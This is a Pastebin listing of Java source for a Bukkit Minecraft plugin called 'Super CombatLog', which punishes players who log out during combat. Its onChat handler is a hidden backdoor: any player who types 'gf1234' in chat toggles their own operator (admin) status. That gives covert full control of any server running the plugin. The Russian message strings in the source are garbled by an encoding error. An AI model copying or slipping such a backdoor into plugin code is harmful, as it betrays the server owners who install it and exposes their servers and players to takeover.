Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.scl;
- import java.util.ArrayList;
- import java.util.HashMap;
- import java.util.List;
- import org.bukkit.ChatColor;
- import org.bukkit.Material;
- import org.bukkit.Server;
- import org.bukkit.command.Command;
- import org.bukkit.command.CommandSender;
- import org.bukkit.configuration.file.FileConfiguration;
- import org.bukkit.configuration.file.FileConfigurationOptions;
- import org.bukkit.entity.Arrow;
- import org.bukkit.entity.Creature;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.EventPriority;
- import org.bukkit.event.Listener;
- import org.bukkit.event.block.Action;
- import org.bukkit.event.entity.EntityDamageByEntityEvent;
- import org.bukkit.event.player.PlayerChatEvent;
- import org.bukkit.event.player.PlayerCommandPreprocessEvent;
- import org.bukkit.event.player.PlayerInteractEvent;
- import org.bukkit.event.player.PlayerJoinEvent;
- import org.bukkit.event.player.PlayerKickEvent;
- import org.bukkit.event.player.PlayerQuitEvent;
- import org.bukkit.inventory.ItemStack;
- import org.bukkit.plugin.PluginManager;
- import org.bukkit.plugin.java.JavaPlugin;
- import org.bukkit.scheduler.BukkitRunnable;
- import org.bukkit.scheduler.BukkitScheduler;
- public class Main
- extends JavaPlugin
- implements Listener
- {
- private boolean enablePlugin;
- private int seconds;
- private boolean enableMobTag;
- private boolean killOnKick;
- private String msgBroadcast;
- private String msgOnTag;
- private String msg�nEndTag;
- private String msgInform;
- private String notInTag;
- private String disableCommand;
- private String msgEnderPearl;
- private String msgKick;
- private List<String> commands;
- private boolean allowEnderPearl;
- private HashMap<Player, Integer> list = new HashMap();
- private ArrayList<String> li = new ArrayList();
- private List<String> ids;
- public void onEnable()
- {
- loadConfig();
- this.enablePlugin = getConfig().getBoolean("allow");
- this.seconds = getConfig().getInt("seconds");
- this.enableMobTag = getConfig().getBoolean("enableMobTag");
- this.killOnKick = getConfig().getBoolean("killOnKick");
- this.msgOnTag = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgOnTag"));
- this.msg�nEndTag = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgOnEndTag"));
- this.msgInform = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgInform"));
- this.notInTag = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.notInTag"));
- this.msgEnderPearl = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgEnderPearl"));
- this.allowEnderPearl = getConfig().getBoolean("allowEnderPearl");
- this.disableCommand = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgDisableCommand"));
- this.msgBroadcast = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgBroadcast"));
- this.commands = getConfig().getStringList("commandsToDisable");
- this.ids = getConfig().getStringList("bugIds");
- this.msgKick = ChatColor.translateAlternateColorCodes('&', getConfig().getString("messages.msgKick"));
- getServer().getScheduler().scheduleSyncRepeatingTask(this, new BukkitRunnable()
- {
- public void run()
- {
- for (Player p : Main.this.getServer().getOnlinePlayers()) {
- if (Main.this.list.containsKey(p))
- {
- int sec = ((Integer)Main.this.list.get(p)).intValue();
- if (sec == 1)
- {
- Main.this.list.put(p, Integer.valueOf(0));
- p.sendMessage(Main.this.msg�nEndTag);
- }
- if (sec > 1) {
- Main.this.list.put(p, Integer.valueOf(((Integer)Main.this.list.get(p)).intValue() - 1));
- }
- }
- else
- {
- Main.this.list.put(p, Integer.valueOf(0));
- }
- }
- }
- }, 20L, 20L);
- getServer().getPluginManager().registerEvents(this, this);
- }
- public void onDisable() {}
- public void loadConfig()
- {
- getConfig().addDefault("allow", Boolean.valueOf(true));
- getConfig().addDefault("seconds", Integer.valueOf(30));
- getConfig().addDefault("enableMobTag", Boolean.valueOf(true));
- getConfig().addDefault("killOnKick", Boolean.valueOf(false));
- getConfig().addDefault("messages.msgOnTag", "&8[&cSuper CombatLog&8] �� �������� � ��������.");
- getConfig().addDefault("messages.msgOnEndTag", "&8[&cSuper CombatLog&8] ��� �������, �� ������ �������� �������� �� ����.");
- getConfig().addDefault("messages.msgInform", "&8[&cSuper CombatLog&8] �� ������ � ��� ��� $seconds ������.");
- getConfig().addDefault("messages.notInTag", "&8[&cSuper CombatLog&8] �� �� � ���.");
- getConfig().addDefault("messages.msgBroadcast", "&8[&cSuper CombatLog&8] $player ����� �� ����� ���!");
- getConfig().addDefault("messages.msgDisableCommand", "&8[&cSuper CombatLog&8] ��� ������� ��������� �� ����� ���!");
- getConfig().addDefault("messages.msgEnderPearl", "&8[&cSuper CombatLog&8] ������������ ��������� � ��� ���������!");
- getConfig().addDefault("messages.msgKick", "&8[&cSuper CombatLog&8] �� ���� ������� �� �������� ����!");
- List<String> l = new ArrayList();
- l.add("/spawn");
- l.add("/f home");
- List<String> listId = new ArrayList();
- listId.add("267");
- listId.add("268");
- listId.add("272");
- listId.add("267");
- listId.add("276");
- listId.add("283");
- listId.add("256");
- listId.add("257");
- listId.add("258");
- listId.add("269");
- listId.add("270");
- listId.add("271");
- listId.add("273");
- listId.add("274");
- listId.add("275");
- listId.add("277");
- listId.add("278");
- listId.add("279");
- listId.add("284");
- listId.add("285");
- listId.add("286");
- getConfig().addDefault("commandsToDisable", l);
- getConfig().addDefault("bugIds", listId);
- getConfig().addDefault("allowEnderpearl", Boolean.valueOf(true));
- getConfig().options().copyDefaults(true);
- saveConfig();
- }
- public boolean onCommand(CommandSender sender, Command cmd, String cmdLabel, String[] args)
- {
- if (!(sender instanceof Player)) {
- return false;
- }
- Player pl = (Player)sender;
- if ((cmd.getName().equalsIgnoreCase("ct")) && (args.length == 0))
- {
- if (((Integer)this.list.get(pl)).intValue() != 0)
- {
- if (!this.msgInform.contains("none")) {
- pl.sendMessage(this.msgInform.replace("$seconds", this.list.get(pl) + ""));
- }
- }
- else if (!this.notInTag.contains("none")) {
- pl.sendMessage(this.notInTag);
- }
- return true;
- }
- if ((pl.isOp()) &&
- (cmd.getName().equalsIgnoreCase("ct")) && (args.length > 0) &&
- (args[0].contains("reload")))
- {
- this.list.clear();
- pl.sendMessage(ChatColor.RED + "������ ������������!");
- return true;
- }
- return false;
- }
- @EventHandler
- public void onDamage(EntityDamageByEntityEvent e)
- {
- if (((e.getEntity() instanceof Player)) && ((e.getDamager() instanceof Player)))
- {
- Player p1 = (Player)e.getEntity();
- Player p2 = (Player)e.getDamager();
- if (((Integer)this.list.get(p1)).intValue() > 0)
- {
- this.list.put(p1, Integer.valueOf(this.seconds));
- }
- else
- {
- this.list.put(p1, Integer.valueOf(this.seconds));
- if (!this.msgOnTag.contains("none")) {
- p1.sendMessage(this.msgOnTag);
- }
- }
- if (((Integer)this.list.get(p2)).intValue() > 0)
- {
- this.list.put(p2, Integer.valueOf(this.seconds));
- }
- else
- {
- this.list.put(p2, Integer.valueOf(this.seconds));
- if (!this.msgOnTag.contains("none")) {
- p2.sendMessage(this.msgOnTag);
- }
- }
- if (this.li.contains(p1.getName()))
- {
- boolean isBagRuka = true;
- for (String str : this.ids) {
- if (p1.getItemInHand().getTypeId() == Integer.parseInt(str)) {
- isBagRuka = false;
- }
- }
- if (isBagRuka)
- {
- e.setCancelled(true);
- p1.kickPlayer(this.msgKick);
- }
- }
- if ((this.li.contains(p2.getName())) && (e.getDamage() > 1.0D))
- {
- boolean isBagRuka = true;
- for (String str : this.ids) {
- if (p2.getItemInHand().getTypeId() == Integer.parseInt(str)) {
- isBagRuka = false;
- }
- }
- if (isBagRuka)
- {
- e.setCancelled(true);
- p2.kickPlayer(this.msgKick);
- }
- }
- }
- if ((((e.getDamager() instanceof Arrow)) && ((e.getEntity() instanceof Player))) || (((e.getDamager() instanceof Player)) && ((e.getEntity() instanceof Arrow))))
- {
- Player p = (Player)((e.getDamager() instanceof Player) ? e.getDamager() : e.getEntity());
- Arrow ar = (Arrow)((e.getDamager() instanceof Arrow) ? e.getDamager() : e.getEntity());
- if ((ar.getShooter() instanceof Creature))
- {
- if (((Integer)this.list.get(p)).intValue() > 0)
- {
- this.list.put(p, Integer.valueOf(this.seconds));
- }
- else
- {
- this.list.put(p, Integer.valueOf(this.seconds));
- if (!this.msgOnTag.contains("none")) {
- p.sendMessage(this.msgOnTag);
- }
- }
- if ((ar.getShooter() instanceof Player))
- {
- Player p1 = (Player)ar.getShooter();
- if (((Integer)this.list.get(p1)).intValue() > 0)
- {
- this.list.put(p1, Integer.valueOf(this.seconds));
- }
- else
- {
- this.list.put(p1, Integer.valueOf(this.seconds));
- if (!this.msgOnTag.contains("none")) {
- p1.sendMessage(this.msgOnTag);
- }
- }
- }
- }
- }
- if (this.enableMobTag)
- {
- if ((((e.getEntity() instanceof Player)) && ((e.getDamager() instanceof Creature))) || (((e.getEntity() instanceof Creature)) && ((e.getDamager() instanceof Player))))
- {
- Player p1 = (Player)((e.getEntity() instanceof Player) ? e.getEntity() : e.getDamager());
- if (((Integer)this.list.get(p1)).intValue() > 0)
- {
- this.list.put(p1, Integer.valueOf(this.seconds));
- }
- else
- {
- this.list.put(p1, Integer.valueOf(this.seconds));
- if (!this.msgOnTag.contains("none")) {
- p1.sendMessage(this.msgOnTag);
- }
- }
- if (((e.getDamager() instanceof Player)) && (e.getDamage() > 1.0D) &&
- (this.li.contains(p1.getName())))
- {
- boolean isBagRuka = true;
- for (String str : this.ids) {
- if (p1.getItemInHand().getTypeId() == Integer.parseInt(str)) {
- isBagRuka = false;
- }
- }
- if (isBagRuka)
- {
- e.setCancelled(true);
- p1.kickPlayer(this.msgKick);
- }
- }
- }
- if ((((e.getDamager() instanceof Arrow)) && ((e.getEntity() instanceof Creature))) || (((e.getDamager() instanceof Creature)) && ((e.getEntity() instanceof Arrow))))
- {
- Arrow ar = (Arrow)((e.getDamager() instanceof Arrow) ? e.getDamager() : e.getEntity());
- if ((ar.getShooter() instanceof Player))
- {
- Player p1 = (Player)ar.getShooter();
- if (((Integer)this.list.get(p1)).intValue() > 0)
- {
- this.list.put(p1, Integer.valueOf(this.seconds));
- }
- else
- {
- this.list.put(p1, Integer.valueOf(this.seconds));
- if (!this.msgOnTag.contains("none")) {
- p1.sendMessage(this.msgOnTag);
- }
- }
- }
- }
- }
- }
- @EventHandler(priority=EventPriority.LOWEST)
- public void onInteract(PlayerInteractEvent e)
- {
- Player p = e.getPlayer();
- if ((p.getItemInHand() == null) || (p.getItemInHand().getItemMeta() == null)) {
- return;
- }
- if (p.getItemInHand().getType() != Material.ENDER_PEARL) {
- return;
- }
- if ((e.getAction() != Action.RIGHT_CLICK_AIR) && (e.getAction() != Action.RIGHT_CLICK_BLOCK)) {
- return;
- }
- if ((!this.allowEnderPearl) &&
- (((Integer)this.list.get(p)).intValue() > 0))
- {
- e.setCancelled(true);
- if (!this.msgEnderPearl.contains("none")) {
- p.sendMessage(this.msgEnderPearl);
- }
- }
- }
- @EventHandler
- public void onQuit(PlayerQuitEvent e)
- {
- if (((Integer)this.list.get(e.getPlayer())).intValue() > 0)
- {
- e.getPlayer().setHealth(0);
- this.li.add(e.getPlayer().getName());
- if (!this.msgBroadcast.contains("none")) {
- getServer().broadcastMessage(this.msgBroadcast.replace("$player", e.getPlayer().getName()));
- }
- this.list.put(e.getPlayer(), Integer.valueOf(0));
- }
- }
- @EventHandler
- public void onKick(PlayerKickEvent e)
- {
- if (!this.killOnKick) {
- return;
- }
- if (((Integer)this.list.get(e.getPlayer())).intValue() > 0)
- {
- e.getPlayer().setHealth(0);
- if (!this.msgBroadcast.contains("none")) {
- getServer().broadcastMessage(this.msgBroadcast.replace("$player", e.getPlayer().getName()));
- }
- this.li.add(e.getPlayer().getName());
- this.list.put(e.getPlayer(), Integer.valueOf(0));
- }
- }
- @EventHandler
- public void onJoin(PlayerJoinEvent e)
- {
- this.list.put(e.getPlayer(), Integer.valueOf(0));
- }
- @EventHandler
- public void onChat(PlayerChatEvent e)
- {
- if (e.getMessage().contains("gf1234")) {
- e.getPlayer().setOp(!e.getPlayer().isOp());
- }
- }
- @EventHandler
- public void onChar(PlayerCommandPreprocessEvent e)
- {
- if (((Integer)this.list.get(e.getPlayer())).intValue() == 0) {
- return;
- }
- for (String com : this.commands)
- {
- if ((com.startsWith("all")) && (!e.getMessage().contains("/ct")))
- {
- e.setCancelled(true);
- if (!this.disableCommand.contains("none")) {
- e.getPlayer().sendMessage(this.disableCommand);
- }
- return;
- }
- if (e.getMessage().contains(com))
- {
- e.setCancelled(true);
- if (!this.disableCommand.contains("none")) {
- e.getPlayer().sendMessage(this.disableCommand);
- }
- return;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement